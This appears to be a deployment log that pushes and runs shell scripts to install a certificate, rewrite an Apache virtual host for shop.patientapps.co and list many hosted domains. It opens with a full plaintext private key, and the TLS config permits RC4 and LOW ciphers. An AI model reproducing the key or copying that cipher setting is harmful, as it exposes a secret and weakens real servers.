-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC4LjCufUZgcWsx
Sqo1kmUBUBzdfAn2eNXAOsGi8JKIEJjUx2hESS5niUaLITJQmzzV5PhUFv7pZ99A
pUahjKp6hDyAle5c1pb1W3ZeeA19PK6Vnf0QNPQFCJWHDaFQx8D/pTYGNecrTBCd
5GzfXCIbX/QXvn4iXxFbc231dZ752IAiVaA6z4IqP/DnvxMA3nqbWH5dZLLpNFno
Kuoa4v67BiKPseEQdUvGKt2STH6EgLkRctielHvmbSjFqnaZV4IcwEzpkumh/HNu
DU7C/qutIYubiaORT9K4UBa2Z3MYL9ZkALiiDEaWqWKPS1JNeX686Iw/4EYvCSwH
eH7yfbFLAgMBAAECggEAMt9fRvMHW2A4kXbkKMP07jXooyy9u7yInf4cuhrk/nxH
Go6xuBrWnHaIa6mRsj4Owa3rAZ8Qbfvo6Hw+VCT8ebbI12OSYUZMkBzhRxq17x+x
wVXQLofR1woV8yXKpvtlzbcegvyki4sJE/OiNtfF+/W3AE/3mxrTOoVZm/EPJkc0
l5dkFWrW5psTKUCbzddJdJQysGjLLbqU/5q9ufHTlULjlk8NZ2/FwmKcgQYSO/NC
AOwOO5HddspQWnAU1pg/zli4TGkmRst2OxKhuZ97uCELqFRYBNisTd3sx52oSAb4
kePas28pqzCoBq6GDnHV20kS26DELMTVicL1L9wE0QKBgQDjegf7yuavnNiprmRc
HoU3UZSfw4OF6SjeduhgrBSzfAUXAuVQHSITNEFvStmxlqudwJVrNQtvh8Cjva8l
+vQgHnioIBbyIyHNR4UkByelYHkr4S8NlwR5RPpJTlDikmNmu7GkN96/KttbZ68C
MaFva2DvZGHIaTXQY/AYXeppzwKBgQDPRlr/PwV4RvKqd/NSIS5AqNyD8RZFX61Q
XO1h93szpEhzXT6OMzPPAt+hwu3Rn7gAwSb6agPJd+9PiQIHS+yrILG6fkjRvKig
zBhgadr3JQVRmD49fO3and8OaPyvnIV2djYuawABEPrQGEXWeSBvTJEdOrQ0qi1+
yZ/kNQOrxQKBgHfbHYfC8eeH6fUFySVsg16RYpEHcC5HmtwUpP4CzWmAqCHmybJ7
ly+tMekU9D0JGWWmSlRRf7QFQDBGSpnlb2nZBFP5jH2Km03RKErCZlZRzaacILG1
Z4sKGCI13JJ09WD09nWDZp8tUqUHrYOnaNsPJeUc7BSvssYZUjFUkqWrAoGABtjn
Jql5T8jgOVtvEVaBRaeOaVlsh+wqOI5pVSQs0L7rmcwJxf7RBlSs+JYM7zDcjkHT
PNCFwYERycnX5E/QyLJyzJthYnReCbnUUFMO5b02WMSzwao/3Un71WkId/CuxAQR
tCTawi5Cat9yZyxnMuYPoSyQSXEZwad9fbd2oJUCgYBSfGbbIxg8dnWSJMGj02Fj
/3Mcmho24f3VJS4hnQdR/3HylhSbZ1DfXrf5h+vsu0UfOXYXLkPzZvZ5Q2pf8NJA
HvKDN+AhNGF0JaoiXwsd+q2/PtFP0/dCh3GElTbjpEXdC0W74O0AOFEjUqw1oJhm
Cgh14Z1QafoVRu5Uy99T3g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-10 22:44:41: 

chmod 755 /tmp/pkp518188; /tmp/pkp518188; rm /tmp/pkp518188

2025-12-10 22:44:41: 


dir=/etc/ssl/certs


2025-12-10 22:44:41: 

PUT: /tmp/pkp875906

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_shop_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-10 22:44:41: 

chmod 755 /tmp/pkp875906; /tmp/pkp875906; rm /tmp/pkp875906

2025-12-10 22:44:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf 43

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>






2025-12-10 22:44:41: 

PUT: /tmp/pkp878899

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_shop_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_shop_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_shop_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf= 1'
fi


2025-12-10 22:44:41: 

chmod 755 /tmp/pkp878899; /tmp/pkp878899; rm /tmp/pkp878899

2025-12-10 22:44:41: 




2025-12-10 22:44:41: 

PUT: /tmp/pkp775844

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-10 22:44:41: 

chmod 755 /tmp/pkp775844; /tmp/pkp775844; rm /tmp/pkp775844

2025-12-10 22:44:41: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-10 22:44:41: Establishing a connection
2025-12-10 22:44:41: 

PUT: /tmp/pkp916456

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-10 22:44:41: 

chmod 755 /tmp/pkp916456; /tmp/pkp916456; rm /tmp/pkp916456

2025-12-10 22:44:41: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
